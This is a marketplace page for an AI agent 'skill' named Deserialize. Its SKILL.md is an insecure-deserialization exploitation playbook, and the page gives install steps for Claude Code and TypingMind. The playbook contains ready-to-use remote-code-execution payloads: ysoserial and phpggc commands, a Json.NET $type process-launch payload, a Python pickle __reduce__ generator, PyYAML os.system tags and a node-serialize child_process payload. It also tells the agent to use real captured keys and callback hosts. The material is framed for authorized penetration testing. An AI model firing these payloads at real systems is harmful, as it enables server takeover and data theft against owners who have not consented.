Deserialize logo

Deserialize

CommunityPopular
PentesterFlow
deserialize

Insecure-deserialization playbook — fingerprint the language/format (Java serialized, .NET BinaryFormatter, Python pickle, PHP unserialize, Node serialize, YAML/JSON-with-types), then build a working gadget chain with ysoserial / ysoserial.net / phpggc / custom pickle. Use when you see serialized blobs (rO0/AC ED, base64 ViewState, PHP O:) or a parameter/cookie that deserializes user input.

Overview

PublisherPentesterFlow
Repositoryagent
Skill namedeserialize
Stars
1.4K
Forks
248
Bundled files
Instructions only
LicenseApache-2.0
Links
  • Markdown instructions

    A SKILL.md file the model loads on demand, so it only costs tokens when a request actually matches.

  • Works with any LLM

    AI skills are plain Markdown, not provider-specific code, so this works with GPT, Claude, Gemini, Grok, or a local model.

  • Self-contained

    Everything the model needs lives in the instructions — no extra files to sync.

  • Open source

    Published by PentesterFlow on GitHub. Read the source before you install it.

Installation

Install the Deserialize AI skill in TypingMind to use it with any LLM, or drop it into another agent that reads SKILL.md.

1

Install in TypingMind

TypingMind installs a skill straight from its GitHub folder — it reads SKILL.md, bundles the resource files, and stores the result locally.

  1. Open the app and go to Plugins → Skills.
  2. Choose "Install from GitHub".
  3. Paste the skill folder URL below and confirm.
  4. Enable the skill in any chat where you want it available.
Plugins → Skills → Add skill → From GitHub URL, then paste the folder URL and press Continue.
2

Install in another agent

Any agent that reads the Agent Skills format can use this skill — copy the folder into that agent's skills directory.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/PentesterFlow/agent.git /tmp/agent
mkdir -p .claude/skills
cp -r /tmp/agent/skills/deserialize .claude/skills/deserialize
Restart Claude Code after copying so it picks up the new skill.

Use it in TypingMind

Enable Deserialize in any TypingMind chat and the model takes it from there. Its name and description sit in the system prompt, and the moment a request matches, the model loads the full instructions itself — you never invoke it by hand, and it costs no tokens until it is actually used.

The model loads Deserialize on its own as soon as a request matches it.

Works with any AI model

AI skills are plain Markdown instructions rather than provider-specific code, so Deserialize is not tied to the model it was written for. Install it once in TypingMind and use it with GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama, or a local model you run yourself — all on your own API keys.

  • Loaded only when it is needed

    The system prompt carries just the name and description. The instructions are fetched on the first matching request, so an idle skill costs nothing.

  • Switch models mid-chat

    Because the skill is instructions rather than code, changing model does not break it — the next model reads the same SKILL.md.

Skill instructions

This is the SKILL.md content the model loads. Read it before installing — a skill is instructions your model will follow.

Insecure deserialization playbook

You suspect a server is deserializing attacker-influenced data. RCE is on the table — but only if you ship the right gadget chain.

Execution rule: use real captured parameters, cookies, keys, and callback hosts before running commands. Never write literal placeholders such as <KEY> or <endpoint> to files; if key material or a sample blob is missing, ask once.

1. Fingerprint the format

MagicFormat
rO0 (base64 of \xac\xed)Java serialized
\xac\xed\x00\x05 (raw)Java serialized
AAEAAAD///// (base64) or \x00\x01\x00\x00\x00\xff\xff\xff\xff.NET BinaryFormatter
__viewstate / __VIEWSTATE cookie or form fieldASP.NET ViewState (often LosFormatter/BinaryFormatter underneath)
gASV (base64 of \x80\x05\x95), gAR, gAP (\x80\x04, \x80\x03)Python pickle
O: (e.g. O:8:"stdClass":0:{})PHP serialize
_$$ND_FUNC$$_ / IIFE patternsNode node-serialize
!! tags inside YAML / !!python/objectYAML with type resolution (PyYAML, SnakeYAML)
BSON / BinDataMongoDB BSON — deserialization paths usually safe; check anyway

Source of the data matters: cookie, form field, file upload, query param, message queue, RPC framing.

2. Java

Default gadget toolkit: ysoserial (https://github.com/frohoff/ysoserial).

sh
# Generate a payload using the CommonsCollections1 chain to run `id`
java -jar ysoserial.jar CommonsCollections1 'id' > payload.bin

# Test it
curl -X POST https://target/api/deserialize --data-binary @payload.bin -H "Content-Type: application/octet-stream"

Chains worth iterating through (depends on classpath):

  • CommonsCollections1..7 — Apache Commons Collections.
  • Spring1, Spring2.
  • JRMPClient / JRMPListener — when the only thing that deserializes is a JRMP endpoint; chain with a hosted JRMP listener.
  • URLDNS — leak-only; useful as a confirm primitive (DNS hit proves deserialization happens).

Confirm-first workflow: start with URLDNS against a DNS canary. If you see the DNS hit, you have insecure deserialization. Then try RCE chains.

ViewState (.NET, ASP.NET Web Forms)

If __VIEWSTATE is not MAC-protected, or the MAC key is leaked / weak / default, use ysoserial.net:

sh
ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "calc" \
  --path="/Default.aspx" --apppath="/" \
  --validationkey="<KEY>" --validationalg="HMACSHA256"

Confirming whether MAC is enforced: send __VIEWSTATE=AAEAAAD/////AQAAAAA= (a truncated stub). A ViewState MAC validation failed exception means MAC is on; a clean 500 deserialization stack trace means it's likely off.

3. .NET BinaryFormatter / Json.NET with TypeNameHandling

If you see Json.NET with TypeNameHandling = Auto/Objects/All, you can put $type in the payload:

json
{"$type":"System.Windows.Data.ObjectDataProvider, PresentationFramework","MethodName":"Start","MethodParameters":{"$type":"System.Collections.ArrayList, mscorlib","$values":["cmd","/c calc"]},"ObjectInstance":{"$type":"System.Diagnostics.Process, System"}}

Toolkit: ysoserial.net (https://github.com/pwntester/ysoserial.net) — covers BinaryFormatter, ObjectStateFormatter, NetDataContractSerializer, etc.

4. Python pickle

If you can submit raw pickled bytes (cookie, form, file upload, message queue payload), RCE is trivial:

python
import pickle, os, base64
class E:
    def __reduce__(self):
        return (os.system, ('id > /tmp/proof',))
print(base64.b64encode(pickle.dumps(E())).decode())

Then submit base64 (or raw bytes, depending on transport).

Variants:

  • __reduce_ex__ instead of __reduce__ when targeting specific protocols.
  • pickle.loads on protocol-5 with out-of-band buffers — different surface.

PyYAML

yaml
!!python/object/apply:os.system ["id"]

Or:

yaml
!!python/object/new:os.system ["id"]

Modern PyYAML defaults to SafeLoader — only yaml.load() (no Loader arg) on old versions is vulnerable, but plenty of code still uses yaml.load(...) explicitly.

5. PHP unserialize

If user input lands in unserialize(), look for POP (Property-Oriented Programming) chains: existing classes in the codebase with __wakeup / __destruct / __toString magic methods that can be chained.

Toolkit: phpggc (https://github.com/ambionics/phpggc).

sh
phpggc -b Symfony/RCE4 system 'id'   # base64-encoded gadget for Symfony 4
phpggc Laravel/RCE6 system 'id'
phpggc Drupal7/FW1 phpinfo

Variants worth trying:

  • O:8:"stdClass":0:{} — confirms unserialize() works at all (no exception).
  • Phar deserialization: triggered by file_exists("phar://...") etc., not direct unserialize input. Look for Phar, file_exists, is_file with attacker-controlled paths.

6. Node — node-serialize

The npm node-serialize package's unserialize() accepts function strings prefixed with _$$ND_FUNC$$_ and evals them:

javascript
{"rce":"_$$ND_FUNC$$_function(){require('child_process').execSync('id');}()"}

This is a one-shot — modern code rarely uses it.

7. Confirming impact

Pickle / yysoserial / phpggc all support a DNS or HTTP callback gadget (e.g. URLDNS for Java, simple system("curl ...") for the others). Use those to confirm deserialization happens before firing real exec — easier to attribute, smaller blast radius.

Once confirmed, the exec PoC should:

  • Run id and capture stdout, OR
  • Read a non-sensitive file (/etc/hostname) and surface its content.

Don't drop a reverse shell on a real engagement without explicit written authorization.

Reporting

Required:

  • Format identified (Java serialized / pickle / etc.) with the magic-byte evidence.
  • The exact endpoint + parameter / cookie that ingests it.
  • A working gadget payload (base64'd if binary), and command run to generate it.
  • Output of id (or equivalent proof) and the matching server response.
  • Note any preconditions that limit exploitability (specific classpath, key disclosure required, etc.) — affects severity.

Frequently asked questions

What does the Deserialize AI skill do?

Insecure-deserialization playbook — fingerprint the language/format (Java serialized, .NET BinaryFormatter, Python pickle, PHP unserialize, Node serialize, YAML/JSON-with-types), then build a working gadget chain with ysoserial / ysoserial.net / phpggc / custom pickle. Use when you see serialized blobs (rO0/AC ED, base64 ViewState, PHP O:) or a parameter/cookie that deserializes user input.

Why use Deserialize on TypingMind?

Because you install it once and use it with any model. Deserialize is plain Markdown rather than provider-specific code, so the same skill runs on GPT-5, Claude, Gemini, Grok, or a local model — and you can switch model mid-chat without it breaking. TypingMind runs on your own API keys, so you pay providers directly instead of a per-seat subscription, and your skills and chats stay in your own storage.

How do I install Deserialize in TypingMind?

Open Plugins → Skills → Install from GitHub in TypingMind and paste https://github.com/PentesterFlow/agent/tree/main/skills/deserialize. TypingMind reads its SKILL.md and installs it as a skill you can enable per chat.

Which AI models can use Deserialize?

Any model you connect in TypingMind. AI skills are plain Markdown instructions rather than provider-specific code, so GPT, Claude, Gemini, Grok, and local models can all load this skill when a request matches it.

How many AI models can I use with Deserialize?

As many as you like. As long as a model supports skills, you can use Deserialize with it — GPT, Claude, Gemini, Grok, DeepSeek, Mistral, Llama and more — all on TypingMind with your own API keys.

Is the Deserialize AI skill free?

Yes. It is published on GitHub by PentesterFlow under the Apache-2.0 license. You only pay your own AI provider for the tokens you use.

What are AI skills?

An AI skill is a reusable instruction bundle that teaches an AI model how to do one specific task. It follows the open Agent Skills format: a SKILL.md file with a name and description, plus any scripts, templates or reference files the model may need. The model reads the instructions only when your request matches the skill, so an installed skill costs nothing until it is used.

How are AI skills different from plugins or MCP servers?

A plugin or MCP server gives a model new tools to call — code that runs somewhere and returns a result. An AI skill gives the model knowledge and process instead: how to approach a task, which steps to follow, what good output looks like. Skills are plain Markdown, so they need no server, no API key and no runtime, and they work with any model.

View all

Set up your own AI workspace now

Get notified about new features and future giveaways by subscribing to our newsletter 👇